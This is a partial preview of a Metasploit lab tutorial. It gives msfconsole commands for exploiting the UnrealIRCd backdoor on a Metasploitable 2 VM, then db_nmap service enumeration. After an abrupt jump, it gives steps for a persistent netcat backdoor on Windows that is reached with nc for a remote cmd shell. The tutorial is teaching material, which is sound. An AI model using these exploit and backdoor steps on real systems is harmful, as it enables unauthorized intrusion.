Docsity

metasploit tutorial, Exams of Linux skills

Partial preview of the text

Download metasploit tutorial and more Exams Linux skills in PDF only on Docsity!

METASPLOIT TUTORIAL

Intro:

metasploitable linux https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

Metasploitable 2 : Login information : msfadmin//msfadmin

Kali Linux: Login information: root//toor

1. Do ifconfig:msfadmin@metasploitable:~$ ifconfig

  • VUL_IP is shown in the red box

2. Scan ports to see if port 6667 is open and running irc using nmap VUL_IP

3. Launch Metasploit framework:

Go to: apps >>> kali linux >>> Top 10 security tools >>> metasploit framework

Or, from terminal, type: msfconsole

4. Select exploit: (LHOST = attacker, RHOST = victim)

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor

msf exploit(unreal_ircd_3281_backdoor) > set LHOST KALI’s_IP

msf exploit(unreal_ircd_3281_backdoor) > set RHOST VUL_IP

msf exploit(unreal_ircd_3281_backdoor) > exploit

5. If everything’s set up properly, you now have a shell.

  • Do ls, pwd, cd, etc, etc

When you don’t know what services are exploitable:

1. Use db_nmap:

msf > db_nmap – v – sV VUL_IP

2. Check available services for that IP:

msf > services

3. Search exploits for specific services:

msf > search SERVICE_NAME

4. Choose an exploit for that service you chose, then exploit it:

msf > use exploit/…

msf > exploit (DON’T FORGET TO SELECT RHOST AND LHOST BEFOREHAND)

Step 5: Creating vbs script to run netcat instantly.

  • Open notepad and write the following code, then save it as a .vbs file

You can now use process explorer to verify that netcat is running. The process is called nc.exe.

Step 6: Getting the ipaddress.

  • Use the command ipconfig to view the ip address of the machine (IPv4 Address in this case).

Step 7: Connecting to the backdoor on kali linux.

  • In the kali terminal use the following command: nc – v address port

*Where address is the ip address from Step 6 and port is 449.

If everything worked properly, you should be connected to the target computer and have a cmd prompt open on kali for the target computer.

If somebody was to view process manager while netcat was connected, they would see cmd.exe running under the nc.exe process.

In addition, TCPview can be used to find additional information about the netcat instance and what ip the target is connected to.

If the netcat process was killed manually killed by the user, or crashed for some reason it does not automatically restart. It only restarts when the computer reboots. As such, trying to connect while the nc.exe is not running on the target throws an error.